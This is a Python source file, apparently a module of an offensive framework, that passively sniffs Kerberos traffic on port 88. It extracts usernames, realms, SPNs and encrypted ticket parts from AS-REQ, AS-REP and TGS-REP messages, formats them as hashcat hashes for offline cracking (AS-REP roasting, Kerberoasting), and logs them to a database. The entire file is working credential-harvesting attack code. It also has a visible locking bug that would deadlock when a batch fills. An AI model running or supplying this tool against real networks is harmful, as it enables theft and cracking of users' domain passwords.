#!/usr/bin/env python3 """Passive Kerberos ticket harvester for offline cracking. Parses Kerberos traffic on port 88: - AS-REQ: extract username, realm, encrypted timestamp (hashcat mode 7500) - AS-REP: extract hash for AS-REP roasting (hashcat mode 18200) - TGS-REP: extract hash for Kerberoasting (hashcat mode 13100) Also identifies domain controllers, realms, and SPNs. Publishes TICKET_HARVESTED events immediately on capture. """ import logging import os import socket import sqlite3 import struct import threading import time from pathlib import Path from typing import Optional from modules.base import BaseModule logger = logging.getLogger("bb.passive.kerberos_harvester") # Kerberos message types (application tags) KRB_AS_REQ = 10 KRB_AS_REP = 11 KRB_TGS_REQ = 12 KRB_TGS_REP = 13 KRB_ERROR = 30 # Encryption types ETYPE_AES256_CTS = 18 ETYPE_AES128_CTS = 17 ETYPE_RC4_HMAC = 23 ETYPE_DES_CBC_MD5 = 3 # Hashcat modes HASHCAT_AS_REQ_ETYPE23 = 7500 HASHCAT_AS_REP_ROAST = 18200 HASHCAT_KERBEROAST_RC4 = 13100 HASHCAT_KERBEROAST_AES256 = 19700 HASHCAT_KERBEROAST_AES128 = 19600 class KerberosHarvester(BaseModule): """Harvest Kerberos tickets from wire for offline cracking.""" name = "kerberos_harvester" module_type = "passive" priority = 80 requires_root = True requires_capture_bus = True BATCH_SIZE = 50 FLUSH_INTERVAL = 30 def __init__(self, bus, state, config, engine=None): super().__init__(bus, state, config, engine) self._capture_bus = None self._sub_queue = None self._reader_thread: Optional[threading.Thread] = None self._flusher_thread: Optional[threading.Thread] = None self._buffer = [] self._buffer_lock = threading.Lock() self._db_path = "" self._db_conn: Optional[sqlite3.Connection] = None self._total_tickets = 0 self._realms = set() self._dcs = set() # ------------------------------------------------------------------ # BaseModule interface # ------------------------------------------------------------------ def start(self) -> None: if self._running: return self._capture_bus = self.config.get("capture_bus") if not self._capture_bus: logger.error("KerberosHarvester requires capture_bus in config") return base_dir = self.config.get("data_dir", os.path.expanduser("~/.bigbrother")) self._db_path = os.path.join(base_dir, "kerberos_tickets.db") Path(os.path.dirname(self._db_path)).mkdir(parents=True, exist_ok=True) self._init_db() self._sub_queue = self._capture_bus.subscribe( name=self.name, bpf_filter="port 88", queue_depth=5000 ) self._running = True self._pid = os.getpid() self._start_time = time.time() self._reader_thread = threading.Thread( target=self._read_packets, daemon=True, name="bb-kerb-reader" ) self._reader_thread.start() self._flusher_thread = threading.Thread( target=self._flush_loop, daemon=True, name="bb-kerb-flusher" ) self._flusher_thread.start() self.state.set_module_status(self.name, "running", pid=os.getpid()) logger.info("KerberosHarvester started — monitoring port 88") def stop(self) -> None: if not self._running: return self._running = False if self._capture_bus: self._capture_bus.unsubscribe(self.name) self._flush_buffer() if self._db_conn: self._db_conn.close() self._db_conn = None self.state.set_module_status(self.name, "stopped") logger.info( "KerberosHarvester stopped — %d tickets, %d realms, %d DCs", self._total_tickets, len(self._realms), len(self._dcs), ) def status(self) -> dict: return { "running": self._running, "pid": self._pid, "uptime": time.time() - self._start_time if self._start_time else 0, "total_tickets": self._total_tickets, "realms": list(self._realms), "domain_controllers": list(self._dcs), "buffer_size": len(self._buffer), } def configure(self, config: dict) -> None: self.config.update(config) # ------------------------------------------------------------------ # Database # ------------------------------------------------------------------ def _init_db(self) -> None: self._db_conn = sqlite3.connect(self._db_path, check_same_thread=False) self._db_conn.execute("PRAGMA journal_mode=WAL") self._db_conn.execute("PRAGMA synchronous=NORMAL") self._db_conn.executescript(""" CREATE TABLE IF NOT EXISTS kerberos_tickets ( id INTEGER PRIMARY KEY AUTOINCREMENT, timestamp REAL NOT NULL, source_ip TEXT NOT NULL, dc_ip TEXT NOT NULL, realm TEXT, username TEXT, spn TEXT, ticket_type TEXT NOT NULL, hashcat_mode INTEGER, hash_value TEXT ); CREATE INDEX IF NOT EXISTS idx_kerb_user ON kerberos_tickets(username); CREATE INDEX IF NOT EXISTS idx_kerb_realm ON kerberos_tickets(realm); CREATE INDEX IF NOT EXISTS idx_kerb_type ON kerberos_tickets(ticket_type); CREATE INDEX IF NOT EXISTS idx_kerb_ts ON kerberos_tickets(timestamp); """) self._db_conn.commit() # ------------------------------------------------------------------ # Packet reader # ------------------------------------------------------------------ def _read_packets(self) -> None: while self._running: result = self._sub_queue.get(timeout=1.0) if result is None: continue ts, raw_packet = result try: self._parse_packet(ts, raw_packet) except Exception: pass def _parse_packet(self, ts: float, raw: bytes) -> None: """Parse Ethernet->IP->TCP/UDP->Kerberos.""" if len(raw) < 14: return eth_type = struct.unpack("!H", raw[12:14])[0] ip_offset = 14 if eth_type == 0x8100: if len(raw) < 18: return eth_type = struct.unpack("!H", raw[16:18])[0] ip_offset = 18 if eth_type != 0x0800: return if len(raw) < ip_offset + 20: return ip_hdr = raw[ip_offset:] ihl = (ip_hdr[0] & 0x0F) * 4 ip_proto = ip_hdr[9] src_ip = socket.inet_ntoa(ip_hdr[12:16]) dst_ip = socket.inet_ntoa(ip_hdr[16:20]) if ip_proto == 6: # TCP tcp_offset = ip_offset + ihl if len(raw) < tcp_offset + 20: return src_port, dst_port = struct.unpack("!HH", raw[tcp_offset:tcp_offset + 4]) if src_port != 88 and dst_port != 88: return tcp_hdr_len = ((raw[tcp_offset + 12] >> 4) & 0xF) * 4 payload = raw[tcp_offset + tcp_hdr_len:] # TCP Kerberos has 4-byte length prefix if len(payload) > 4: payload = payload[4:] elif ip_proto == 17: # UDP udp_offset = ip_offset + ihl if len(raw) < udp_offset + 8: return src_port, dst_port = struct.unpack("!HH", raw[udp_offset:udp_offset + 4]) if src_port != 88 and dst_port != 88: return payload = raw[udp_offset + 8:] else: return if len(payload) < 10: return # Determine direction: requests go TO port 88, responses come FROM port 88 if dst_port == 88: client_ip = src_ip dc_ip = dst_ip else: client_ip = dst_ip dc_ip = src_ip self._dcs.add(dc_ip) self._parse_kerberos(ts, client_ip, dc_ip, payload) def _parse_kerberos(self, ts: float, client_ip: str, dc_ip: str, data: bytes) -> None: """Parse ASN.1/DER-encoded Kerberos message.""" if len(data) < 2: return # Kerberos messages use ASN.1 application tags # AS-REQ: [APPLICATION 10], AS-REP: [APPLICATION 11] # TGS-REQ: [APPLICATION 12], TGS-REP: [APPLICATION 13] tag = data[0] if tag & 0xE0 != 0x60: # Application constructed return msg_type = tag & 0x1F # Read outer length _, offset = self._asn1_length(data, 1) if offset < 0 or offset >= len(data): return if msg_type == KRB_AS_REQ: self._parse_as_req(ts, client_ip, dc_ip, data, offset) elif msg_type == KRB_AS_REP: self._parse_as_rep(ts, client_ip, dc_ip, data, offset) elif msg_type == KRB_TGS_REP: self._parse_tgs_rep(ts, client_ip, dc_ip, data, offset) def _parse_as_req(self, ts: float, client_ip: str, dc_ip: str, data: bytes, offset: int) -> None: """Parse AS-REQ for username, realm, and encrypted timestamp (mode 7500).""" realm = "" username = "" enc_timestamp = "" etype = 0 # Walk the ASN.1 SEQUENCE looking for known context tags # AS-REQ contains: pvno[1], msg-type[2], padata[3], req-body[4] seq_offset = self._enter_sequence(data, offset) if seq_offset < 0: return pos = seq_offset while pos < len(data) - 2: ctx_tag = data[pos] if ctx_tag & 0xC0 != 0xA0: # Not context-specific constructed break ctx_num = ctx_tag & 0x1F length, next_pos = self._asn1_length(data, pos + 1) if length < 0: break ctx_data = data[next_pos:next_pos + length] if ctx_num == 3: # padata # Look for PA-ENC-TIMESTAMP (type 2) enc_ts, found_etype = self._extract_padata_enc_timestamp(ctx_data) if enc_ts: enc_timestamp = enc_ts etype = found_etype elif ctx_num == 4: # req-body (KDC-REQ-BODY) r, u = self._extract_req_body_info(ctx_data) if r: realm = r if u: username = u pos = next_pos + length if realm: self._realms.add(realm) # If we got an encrypted timestamp, emit for hashcat 7500 if enc_timestamp and username: hashcat_mode = HASHCAT_AS_REQ_ETYPE23 if etype == ETYPE_RC4_HMAC else 7500 hash_value = f"$krb5pa${etype}${username}${realm}${enc_timestamp}" self._emit_ticket( ts, client_ip, dc_ip, realm, username, "", "AS-REQ", hashcat_mode, hash_value, ) def _parse_as_rep(self, ts: float, client_ip: str, dc_ip: str, data: bytes, offset: int) -> None: """Parse AS-REP for AS-REP roasting hash (mode 18200).""" realm = "" username = "" enc_part = "" etype = 0 seq_offset = self._enter_sequence(data, offset) if seq_offset < 0: return pos = seq_offset while pos < len(data) - 2: ctx_tag = data[pos] if ctx_tag & 0xC0 != 0xA0: break ctx_num = ctx_tag & 0x1F length, next_pos = self._asn1_length(data, pos + 1) if length < 0: break ctx_data = data[next_pos:next_pos + length] if ctx_num == 3: # crealm realm = self._read_string(ctx_data) elif ctx_num == 4: # cname username = self._extract_principal_name(ctx_data) elif ctx_num == 6: # enc-part (EncryptedData) etype, enc_part = self._extract_encrypted_data(ctx_data) pos = next_pos + length if realm: self._realms.add(realm) if enc_part and username: if etype == ETYPE_RC4_HMAC: hashcat_mode = HASHCAT_AS_REP_ROAST else: hashcat_mode = HASHCAT_AS_REP_ROAST hash_value = f"$krb5asrep${etype}${username}@{realm}:{enc_part}" self._emit_ticket( ts, client_ip, dc_ip, realm, username, "", "AS-REP", hashcat_mode, hash_value, ) def _parse_tgs_rep(self, ts: float, client_ip: str, dc_ip: str, data: bytes, offset: int) -> None: """Parse TGS-REP for Kerberoasting hash (mode 13100).""" realm = "" username = "" spn = "" enc_part = "" etype = 0 seq_offset = self._enter_sequence(data, offset) if seq_offset < 0: return pos = seq_offset while pos < len(data) - 2: ctx_tag = data[pos] if ctx_tag & 0xC0 != 0xA0: break ctx_num = ctx_tag & 0x1F length, next_pos = self._asn1_length(data, pos + 1) if length < 0: break ctx_data = data[next_pos:next_pos + length] if ctx_num == 3: # crealm realm = self._read_string(ctx_data) elif ctx_num == 4: # cname username = self._extract_principal_name(ctx_data) elif ctx_num == 5: # ticket — contains the SPN and enc-part t_spn, t_etype, t_enc = self._extract_ticket_info(ctx_data) if t_spn: spn = t_spn if t_enc: enc_part = t_enc etype = t_etype pos = next_pos + length if realm: self._realms.add(realm) if enc_part and (username or spn): if etype == ETYPE_RC4_HMAC: hashcat_mode = HASHCAT_KERBEROAST_RC4 elif etype == ETYPE_AES256_CTS: hashcat_mode = HASHCAT_KERBEROAST_AES256 elif etype == ETYPE_AES128_CTS: hashcat_mode = HASHCAT_KERBEROAST_AES128 else: hashcat_mode = HASHCAT_KERBEROAST_RC4 hash_value = f"$krb5tgs${etype}$*{username}${realm}${spn}*${enc_part[:32]}${enc_part[32:]}" self._emit_ticket( ts, client_ip, dc_ip, realm, username, spn, "TGS-REP", hashcat_mode, hash_value, ) # ------------------------------------------------------------------ # ASN.1 helpers # ------------------------------------------------------------------ @staticmethod def _asn1_length(data: bytes, offset: int) -> tuple: """Read ASN.1 DER length. Returns (length, new_offset) or (-1, offset).""" if offset >= len(data): return -1, offset first = data[offset] if first & 0x80 == 0: return first, offset + 1 num_bytes = first & 0x7F if num_bytes == 0 or offset + 1 + num_bytes > len(data): return -1, offset length = int.from_bytes(data[offset + 1:offset + 1 + num_bytes], "big") return length, offset + 1 + num_bytes def _enter_sequence(self, data: bytes, offset: int) -> int: """Skip into a SEQUENCE tag and return offset to first element, or -1.""" if offset >= len(data) or data[offset] != 0x30: return -1 _, new_offset = self._asn1_length(data, offset + 1) return new_offset def _read_string(self, data: bytes) -> str: """Read a GeneralString/UTF8String from ASN.1 data.""" if len(data) < 2: return "" # Skip tag byte tag = data[0] length, offset = self._asn1_length(data, 1) if length < 0 or offset + length > len(data): return "" return data[offset:offset + length].decode("utf-8", errors="replace") def _extract_principal_name(self, data: bytes) -> str: """Extract principal name from a PrincipalName SEQUENCE.""" # PrincipalName ::= SEQUENCE { name-type[0], name-string[1] } seq_offset = self._enter_sequence(data, 0) if seq_offset < 0: return "" pos = seq_offset while pos < len(data) - 2: ctx_tag = data[pos] if ctx_tag & 0xC0 != 0xA0: break ctx_num = ctx_tag & 0x1F length, next_pos = self._asn1_length(data, pos + 1) if length < 0: break if ctx_num == 1: # name-string SEQUENCE OF GeneralString name_data = data[next_pos:next_pos + length] names = self._extract_string_sequence(name_data) return "/".join(names) if names else "" pos = next_pos + length return "" def _extract_string_sequence(self, data: bytes) -> list: """Extract strings from a SEQUENCE OF GeneralString.""" result = [] seq_offset = self._enter_sequence(data, 0) if seq_offset < 0: return result pos = seq_offset while pos < len(data): if pos >= len(data): break tag = data[pos] length, next_pos = self._asn1_length(data, pos + 1) if length < 0 or next_pos + length > len(data): break try: s = data[next_pos:next_pos + length].decode("utf-8", errors="replace") result.append(s) except Exception: pass pos = next_pos + length return result def _extract_encrypted_data(self, data: bytes) -> tuple: """Extract etype and cipher from EncryptedData. Returns (etype, hex_cipher).""" seq_offset = self._enter_sequence(data, 0) if seq_offset < 0: return 0, "" etype = 0 cipher_hex = "" pos = seq_offset while pos < len(data) - 2: ctx_tag = data[pos] if ctx_tag & 0xC0 != 0xA0: break ctx_num = ctx_tag & 0x1F length, next_pos = self._asn1_length(data, pos + 1) if length < 0: break ctx_data = data[next_pos:next_pos + length] if ctx_num == 0: # etype INTEGER etype = self._read_integer(ctx_data) elif ctx_num == 2: # cipher OCTET STRING if len(ctx_data) >= 2: c_len, c_off = self._asn1_length(ctx_data, 1) if c_len > 0 and c_off + c_len <= len(ctx_data): cipher_hex = ctx_data[c_off:c_off + c_len].hex() pos = next_pos + length return etype, cipher_hex def _extract_ticket_info(self, data: bytes) -> tuple: """Extract SPN, etype, and enc-part from a Ticket. Returns (spn, etype, cipher_hex).""" # Ticket ::= [APPLICATION 1] SEQUENCE { tkt-vno[0], realm[1], sname[2], enc-part[3] } if len(data) < 2: return "", 0, "" # Skip application tag if data[0] & 0xE0 == 0x60: _, offset = self._asn1_length(data, 1) else: offset = 0 seq_offset = self._enter_sequence(data, offset) if seq_offset < 0: return "", 0, "" spn = "" etype = 0 cipher_hex = "" pos = seq_offset while pos < len(data) - 2: ctx_tag = data[pos] if ctx_tag & 0xC0 != 0xA0: break ctx_num = ctx_tag & 0x1F length, next_pos = self._asn1_length(data, pos + 1) if length < 0: break ctx_data = data[next_pos:next_pos + length] if ctx_num == 2: # sname (PrincipalName) spn = self._extract_principal_name(ctx_data) elif ctx_num == 3: # enc-part (EncryptedData) etype, cipher_hex = self._extract_encrypted_data(ctx_data) pos = next_pos + length return spn, etype, cipher_hex def _extract_padata_enc_timestamp(self, data: bytes) -> tuple: """Extract PA-ENC-TIMESTAMP from padata sequence. Returns (hex_cipher, etype).""" seq_offset = self._enter_sequence(data, 0) if seq_offset < 0: return "", 0 pos = seq_offset while pos < len(data) - 2: # Each PA-DATA is a SEQUENCE { padata-type[1], padata-value[2] } if data[pos] != 0x30: break pa_len, pa_off = self._asn1_length(data, pos + 1) if pa_len < 0: break pa_data = data[pa_off:pa_off + pa_len] pa_type = 0 pa_value = b"" inner_pos = 0 while inner_pos < len(pa_data) - 2: ctx_tag = pa_data[inner_pos] if ctx_tag & 0xC0 != 0xA0: break ctx_num = ctx_tag & 0x1F il, ip = self._asn1_length(pa_data, inner_pos + 1) if il < 0: break if ctx_num == 1: # padata-type pa_type = self._read_integer(pa_data[ip:ip + il]) elif ctx_num == 2: # padata-value pa_value = pa_data[ip:ip + il] inner_pos = ip + il if pa_type == 2 and pa_value: # PA-ENC-TIMESTAMP etype, cipher = self._extract_encrypted_data(pa_value) if cipher: return cipher, etype pos = pa_off + pa_len return "", 0 def _extract_req_body_info(self, data: bytes) -> tuple: """Extract realm and cname from KDC-REQ-BODY. Returns (realm, username).""" seq_offset = self._enter_sequence(data, 0) if seq_offset < 0: return "", "" realm = "" username = "" pos = seq_offset while pos < len(data) - 2: ctx_tag = data[pos] if ctx_tag & 0xC0 != 0xA0: break ctx_num = ctx_tag & 0x1F length, next_pos = self._asn1_length(data, pos + 1) if length < 0: break ctx_data = data[next_pos:next_pos + length] if ctx_num == 1: # cname username = self._extract_principal_name(ctx_data) elif ctx_num == 2: # realm realm = self._read_string(ctx_data) pos = next_pos + length return realm, username def _read_integer(self, data: bytes) -> int: """Read an ASN.1 INTEGER value.""" if len(data) < 2: return 0 tag = data[0] if tag != 0x02: return 0 length, offset = self._asn1_length(data, 1) if length < 0 or offset + length > len(data): return 0 return int.from_bytes(data[offset:offset + length], "big", signed=True) # ------------------------------------------------------------------ # Ticket emission # ------------------------------------------------------------------ def _emit_ticket(self, ts: float, client_ip: str, dc_ip: str, realm: str, username: str, spn: str, ticket_type: str, hashcat_mode: int, hash_value: str) -> None: self._total_tickets += 1 record = (ts, client_ip, dc_ip, realm, username, spn, ticket_type, hashcat_mode, hash_value) with self._buffer_lock: self._buffer.append(record) if len(self._buffer) >= self.BATCH_SIZE: self._flush_buffer() self.bus.emit("TICKET_HARVESTED", { "source_ip": client_ip, "dc_ip": dc_ip, "realm": realm, "username": username, "spn": spn, "ticket_type": ticket_type, "hashcat_mode": hashcat_mode, }, source_module=self.name) logger.info( "TICKET: %s %s@%s -> %s (hashcat -m %d)", ticket_type, username, realm, dc_ip, hashcat_mode, ) # ------------------------------------------------------------------ # Buffer flush # ------------------------------------------------------------------ def _flush_loop(self) -> None: while self._running: time.sleep(self.FLUSH_INTERVAL) try: self._flush_buffer() except Exception: logger.exception("Kerberos flush error") def _flush_buffer(self) -> None: with self._buffer_lock: batch = list(self._buffer) self._buffer.clear() if not batch or not self._db_conn: return try: self._db_conn.executemany( "INSERT INTO kerberos_tickets " "(timestamp, source_ip, dc_ip, realm, username, spn, " "ticket_type, hashcat_mode, hash_value) " "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)", batch, ) self._db_conn.commit() except Exception: logger.exception("Failed to flush %d kerberos tickets", len(batch))